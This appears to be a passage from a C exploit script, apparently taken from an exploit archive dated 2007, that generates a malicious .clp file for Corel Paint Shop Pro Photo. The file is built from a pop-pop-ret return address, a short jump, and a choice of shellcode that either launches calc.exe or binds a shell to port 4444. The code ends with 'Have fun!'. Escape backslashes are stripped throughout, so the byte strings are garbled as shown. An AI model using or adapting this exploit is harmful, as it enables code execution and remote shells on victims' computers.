		printf("[+] Usage: %s Mode <file.clp>n",argv[0]);
		printf("[+] Mode is 0 -> run calc.exen");
		printf("[+]         1 -> bind shell to port 4444n");
		return 0;
	}
	
	if (!atoi(argv[1])) 
		MyShellcode=CalcShellcode;
	else
		MyShellcode=BindShellcode;
	
	memcpy(evilbuff,clp_file_part1,sizeof(clp_file_part1)-1);
	offset=sizeof(clp_file_part1)-1;
	memcpy(evilbuff+offset,clp_file_part2,sizeof(clp_file_part2)-1);
	memcpy(evilbuff+offset,"CCxebx06",4);					//junk + jmp over EIP
	memcpy(evilbuff+offset+4,"x2ex1cx40x00x43x43",6);	//pop esi, pop ebp, ret + junk in Corel Paint Shop Pro Photo.exe
	memcpy(evilbuff+offset+10,MyShellcode,strlen(MyShellcode));
	printf("[+] 2nd part patchedn");
	
	if ((clpfile=fopen(argv[2],"wb"))==0) {
		printf("[-] Unable to access file.n");
		return 0;
	}
	fwrite( evilbuff, 1, 5648, clpfile );
	fclose(clpfile);
	printf("[+] Done. Have fun!n");
	return 0;
	
}

// www.Syue.com [2007-04-23]